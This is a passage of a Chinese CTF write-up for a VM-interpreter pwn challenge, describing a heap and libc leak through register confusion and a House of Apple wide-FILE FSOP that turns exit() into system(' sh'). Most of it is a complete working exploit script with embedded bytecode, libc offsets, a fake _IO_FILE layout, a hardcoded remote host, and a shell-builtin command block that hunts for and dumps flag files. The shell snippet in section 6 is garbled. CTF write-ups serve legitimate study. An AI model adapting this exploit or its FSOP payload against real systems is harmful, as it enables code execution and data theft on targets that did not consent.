解释器内部还有一个 syscall dispatcher,编号 0~4 分别封装宿主进程的 read、write、exit、malloc、free。malloc/free 还维护了一个 16 项指针表。由于参数直接取自 VM 状态中的寄存器,一旦能通过 reg[6]/VSP 混淆把宿主地址带入寄存器,就可以让 read/write 对真实进程地址产生作用。
syscall 0 -> read(fd, buf, size)
syscall 1 -> write(fd, buf, size)
syscall 2 -> exit(code)
syscall 3 -> malloc(size) # 存入全局 chunk 指针表
syscall 4 -> free(index)
本题利用时不需要构造传统 ROP 链。题目开启了 CET(IBT、SHSTK),直接依赖返回地址劫持并不优雅;利用 glibc 的 FILE 机制,从 exit() 的正常清理流程进入 system() 更稳定。
4. Stage 1:heap 与 libc 泄露
第一阶段 opcode 完成三件事:申请可控 heap chunk、通过 reg[6] 与 VSP 的别名关系获得宿主 heap 地址、再配合 write 泄露指针。随后构造并释放一个大块进入 unsorted bin,从 chunk 元数据中得到 main_arena 附近的 fd 指针。
脚本最终一次性接收 32 字节:两个 heap 地址 A/B,以及两份相同的 arena 泄露。远端实测如下:
heap A = 0x55d27a1bf380
heap B = 0x55d27a1bf890
arena = 0x7f2e4821fce0
libc = 0x7f2e48005000
题目提供 libc 的 unsorted-bin fd 相对基址偏移为 0x21ace0,因此:
libc_base = arena_leak - 0x21ace0
= 0x7f2e4821fce0 - 0x21ace0
= 0x7f2e48005000
得到 libc 基址后即可计算 system 与 _IO_wfile_jumps:

system 与 _IO_wfile_jumps 偏移
system = libc_base + 0x50d70
_IO_wfile_jumps = libc_base + 0x2170c0
5. Stage 2:House of Apple / wide FILE FSOP
第二阶段在已知 heap chunk B 上布置伪造的 _IO_FILE、_IO_wide_data 和 wide vtable。利用目标是让程序正常执行 exit() 时进入 glibc 的 IO flush 流程,并沿 _IO_wfile_jumps 的 wide-file 路径调用我们布置的函数指针。
关键字段如下:
偏移(相对 B) 值 作用
0x00 " sh\0" FILE 首地址同时作为 system 参数
0x88 B+0x300 伪造 _lock
0xA0 B+0x100 _wide_data
0xC0 1 _mode > 0
0xD8 _IO_wfile_jumps 合法 wide vtable
0x118 / 0x120 0 / 1 write_ptr > write_base,满足 flush 条件
0x1E0 B+0x200 wide vtable 指针
0x268 system wide vtable 的 __doallocate 槽
最关键的技巧是让 FILE 对象开头写入 b" sh\x00"。最终 wide vtable 的 __doallocate 槽被调用时,调用形式等价于 system(fp),而 fp 正好指向 FILE 首地址,因此实际执行的是 system(" sh")。这样就获得了一个 /bin/sh。
pay[:4] = b" sh\x00"
pack(B+0x88, B+0x300) # _lock
pack(B+0xA0, B+0x100) # _wide_data
pack(B+0xD8, libc+_IO_wfile_jumps)
pack(B+0x1E0, B+0x200) # fake wide vtable
pack(B+0x268, libc+system) # __doallocate -> system
6. 远程环境中的一个小坑
第一次拿到 shell 后,常规命令 id、cat、find、head 都不存在,而且 /dev/null 也不可写。这说明远端容器非常精简。漏洞利用本身已经成功,但不能依赖 coreutils 去读 flag。
解决方法是只使用 /bin/sh 内建语法:for、[ ]、read、echo、pwd。利用 read 内建命令逐行读取 /flag,即使没有 cat 也可以输出文件内容:
for f in /flag /flag.txt ./flag ./flag.txt; do
[ -f "f" ] || continue
echo FILE"f"
while IFS= read -r line || [ -n "line"
done < "$f"
done
7. 远程利用结果
包含 heap/libc 泄露、/flag 读取和最终提交值。
重新执行单文件 exp 后成功泄露 heap/libc,FSOP 进入 shell,并在 /flag 中读取到最终 Flag。

远程利用成功并读取 /flag
[FLAG] DASCTF{62206327567532559218623710685282}
[SUBMIT] 62206327567532559218623710685282
脚本:
#!/usr/bin/env python3
import socket, struct, time, sys
HOST = sys.argv[1] if len(sys.argv) > 1 else "45.40.247.139"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 17924
# Embedded VM bytecode (211 bytes), no extra finalvm.bin needed.
VM = bytes.fromhex("8d050f0000050000cc0000030f0000050000cc0000030e01052b01101000000f00010000000f0210000000cc0000010e06052b061010000081018102810381041f02200000001601021f04200000001603040e04010e06050f0000000000cc0000040f00010000000f0210000000cc0000010f00000000000e01030f0200040000cc0000000e0604810081021f02200000001600020e06052b00a00900000e01031b01ffffffff0e02032302200000000e06002b06040000007d010e06002b06080000007d020e06050f0000000000cc000002")
# Offsets for the challenge-provided libc.so.6:
# Ubuntu GLIBC 2.35-0ubuntu3.8, Build-ID 490fef8403240c91833978d494d39e537409b92e
UNSORTED_BIN_FD = 0x21ace0
SYSTEM = 0x50d70
IO_WFILE_JUMPS = 0x2170c0
def recv_exact(s, n, timeout=5):
s.settimeout(timeout)
out = b""
while len(out) < n:
chunk = s.recv(n - len(out))
if not chunk:
break
out += chunk
return out
def recv_line(s, timeout=5):
s.settimeout(timeout)
out = b""
while not out.endswith(b"\n"):
c = s.recv(1)
if not c:
break
out += c
return out
def qword(buf, off=0):
return struct.unpack_from("<Q", buf, off)[0]
def main():
print(f"[*] connecting to {HOST}:{PORT}")
s = socket.create_connection((HOST, PORT), timeout=8)
banner = recv_line(s, 5)
print("[*] banner:", repr(banner))
# Stage 1: VM OOB/register confusion -> host heap pointers + unsorted-bin fd leak.
s.sendall(VM)
leak = recv_exact(s, 32, 8)
print(f"[*] leak {len(leak)} bytes: {leak.hex()}")
if len(leak) != 32:
raise RuntimeError("short leak: service/protocol differs, or target closed")
A, B, arena1, arena2 = struct.unpack("<QQQQ", leak)
libc = arena1 - UNSORTED_BIN_FD
print(f"[+] heap A = {A:#x}")
print(f"[+] heap B = {B:#x}")
print(f"[+] arena = {arena1:#x}")
print(f"[+] libc = {libc:#x}")
# Basic alignment sanity check. ASLR libc base should be page-aligned.
if libc & 0xfff:
print("[!] warning: computed libc base is not page aligned; supplied libc may not match remote")
# Stage 2: fake _IO_FILE / _IO_wide_data / wide vtable on known heap chunk.
# exit() flushes streams -> _IO_wfile_jumps -> controlled __doallocate -> system(fp)
# fp starts with b" sh\0", so this becomes system(" sh").
pay = bytearray(0x400)
pay[:4] = b" sh\x00"
struct.pack_into("<Q", pay, 0x88, B + 0x300) # _lock
struct.pack_into("<Q", pay, 0xa0, B + 0x100) # _wide_data
struct.pack_into("<I", pay, 0xc0, 1) # _mode > 0
struct.pack_into("<Q", pay, 0xd8, libc + IO_WFILE_JUMPS)
# fake _IO_wide_data @ B+0x100
struct.pack_into("<Q", pay, 0x118, 0) # _IO_write_base
struct.pack_into("<Q", pay, 0x120, 1) # _IO_write_ptr > base
struct.pack_into("<Q", pay, 0x130, 0) # _IO_buf_base == NULL
struct.pack_into("<Q", pay, 0x1e0, B + 0x200) # _wide_vtable
# fake wide vtable @ B+0x200; __doallocate slot is +0x68
struct.pack_into("<Q", pay, 0x268, libc + SYSTEM)
s.sendall(pay)
time.sleep(0.25)
# If FSOP worked, stdin/stdout now belong to /bin/sh. Read common flag paths.
# The remote container is intentionally tiny: utilities such as id/cat/find/head
# may not exist, and /dev/null may be unwritable. Use only POSIX /bin/sh
# builtins (for/case/[ ]/read/echo/pwd) to locate and dump likely flag files.
cmd = (
b"echo __PWNED__; echo __PWD__; pwd; "
b'echo __ENV_FLAG__; echo "$FLAG"; echo "$flag"; echo "$DASCTF_FLAG"; '
b"echo __FLAG_PROBE__; "
b"for f in /flag /flag.txt /flag* ./flag ./flag.txt ./flag* "
b"/home/*/flag /home/*/flag.txt /home/*/flag* "
b"/root/flag /root/flag.txt /root/flag* "
b"/app/flag /app/flag.txt /app/flag* "
b"/challenge/flag /challenge/flag.txt /challenge/flag* "
b"/ctf/flag /ctf/flag.txt /ctf/flag* "
b"/data/flag /data/flag.txt /data/flag* "
b"/opt/*/flag /opt/*/flag.txt /opt/*/flag* "
b"/srv/*/flag /srv/*/flag.txt /srv/*/flag* "
b"/tmp/flag /tmp/flag.txt /tmp/flag*; do "
b'[ -f "$f" ] || continue; '
b'echo __FILE__"$f"; '
b'while IFS= read -r line || [ -n "$line" ]; do echo "$line"; done < "$f"; '
b"done; "
b'echo __ROOT_LIST__; for f in /*; do echo "$f"; done; '
b"echo __DONE__; exit\n"
)
s.sendall(cmd)
s.settimeout(5)
out = b""
while True:
try:
c = s.recv(4096)
if not c:
break
out += c
if b"__DONE__" in out:
break
except socket.timeout:
break
print("\n===== remote output =====")
print(out.decode(errors="replace"))
print("===== end =====")
# Convenience extraction for DASCTF{...}
marker = b"DASCTF{"
p = out.find(marker)
if p != -1:
e = out.find(b"}", p)
if e != -1:
full = out[p:e+1].decode(errors="replace")
print("[FLAG]", full)
print("[SUBMIT]", full[len("DASCTF{"):-1])
if __name__ == "__main__":
main()

浙公网安备 33010602011771号